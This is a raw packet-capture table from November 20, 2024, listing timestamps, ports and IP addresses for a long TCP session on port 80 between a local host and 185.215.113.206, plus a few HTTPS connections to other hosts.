Nov 20, 2024 14:43:40.441776037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.442570925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.442584991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.442622900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.442636013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.443552017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.443614960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.443939924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.443990946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.444586992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.444734097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.444739103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.444818020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.445636034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.445687056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.445714951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.445799112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.446661949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.446675062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.446717978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.447653055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.447664976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.447710991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.448657990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.448702097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.448714018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.448760986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.449697971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.449712992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.449795008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.450747013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.450761080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.450858116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.451811075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.451823950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.451868057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.452713966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.452765942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.452770948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.452819109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.453917980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.454035044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.454086065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.454186916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.454824924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.454950094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.455060959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.455828905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.455909967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.455924988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.455950022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.456821918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.456895113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.456929922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.456944942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.457838058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.457890987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.457957029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.458004951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.458909988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.458966970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.458988905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.459116936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.459897995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.459912062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.460011005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.460881948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.460932016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.461172104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.461231947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.461965084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.462017059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.462831020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.462886095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.462975025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.462985992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.463023901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.463926077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.463996887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.464359045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.464410067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.464981079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.465032101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.465490103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.465543985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.465964079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.466022968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.466532946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.466604948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.467010975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.467056990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.467088938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.467166901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.468013048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.468064070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.468241930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.468290091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.469017982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.469068050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.470755100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.470767021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.470779896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.470818996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.470848083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.471271038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.471326113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.471352100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.471487045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.472083092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.472135067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.472316027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.472358942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.473113060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.473169088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.473280907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.473330021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.474159956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.474214077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.475244045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.475261927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.475298882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.475301981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.475348949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.475348949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.476217031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.476233006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.476263046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.476275921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.477189064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.477236986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.477329016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.477380991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.478204012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.478257895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.478739977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.478794098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.479208946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.479463100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.479522943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.482537031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.482595921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.483330011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.483383894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.487618923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.487673044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.487782955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.487793922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.487804890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.487827063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.487863064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.488320112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.488370895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.488653898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.488667011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.488679886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.488723993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.488799095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.488924026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.489758968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.489826918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.491094112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.491106033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.491166115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.492185116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.492235899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.492799997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.492851973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.493623972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.493746996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.493786097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.493880987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.494587898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.494637966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.494755983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.494816065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.495707035 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.495762110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.495774984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.495826006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.496030092 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.496049881 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.496537924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.496594906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.496951103 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.497005939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.497015953 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.497051954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.497705936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.497742891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.497772932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.497834921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.498140097 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.498204947 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.498354912 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.498369932 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.498670101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.498927116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.504941940 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.505724907 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.505738020 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.506479979 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.506484985 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.551959038 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.591856003 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.595277071 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.595309973 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.595773935 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.595784903 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.651179075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.651305914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.651309013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.651364088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.651665926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.651763916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.651945114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.651957989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.652013063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.652918100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.652972937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.652998924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.653012991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.653891087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.653939962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.654025078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.654078960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.655159950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.655175924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.655380964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.655983925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.655997992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.656059980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.656296968 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.656575918 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.656601906 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.656923056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.657068968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.657161951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.657217979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.657751083 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.657818079 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.657984972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.657998085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.658051968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.658899069 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.658987045 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.659013987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.659040928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.659066916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.659085989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.659280062 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.659286022 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.660088062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.660100937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.660161972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.660619020 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.661004066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.661050081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.661086082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.661099911 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.661113024 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.661150932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.662134886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.662138939 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.662205935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.662266970 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.662271023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.662534952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.662625074 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.662678003 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.662789106 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.662801981 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:40.663208008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.663225889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.663290977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.665024042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.665036917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.665080070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.665095091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.665138006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.665592909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.665636063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.666239023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.666259050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.666291952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.666313887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.667277098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.667294025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.667325020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.667373896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.668104887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.668162107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.668809891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.668860912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.669156075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.669344902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.669431925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.669482946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.670428038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.670573950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.670630932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.671209097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.671252012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.671272039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.671293020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.672318935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.672378063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.673156023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.673207998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.673358917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.673373938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.673439026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.674424887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.674488068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.674499035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.674567938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.675461054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.675473928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.675585985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.676318884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.676335096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.676409006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.677345991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.677365065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.677495956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.678426981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.678482056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.678550959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.678595066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.679277897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.679327011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.679933071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.679986000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.680686951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.680741072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.680830002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.680875063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.681449890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.681461096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.681835890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.682744026 CET	80	49800	185.215.113.206	192.168.2.6
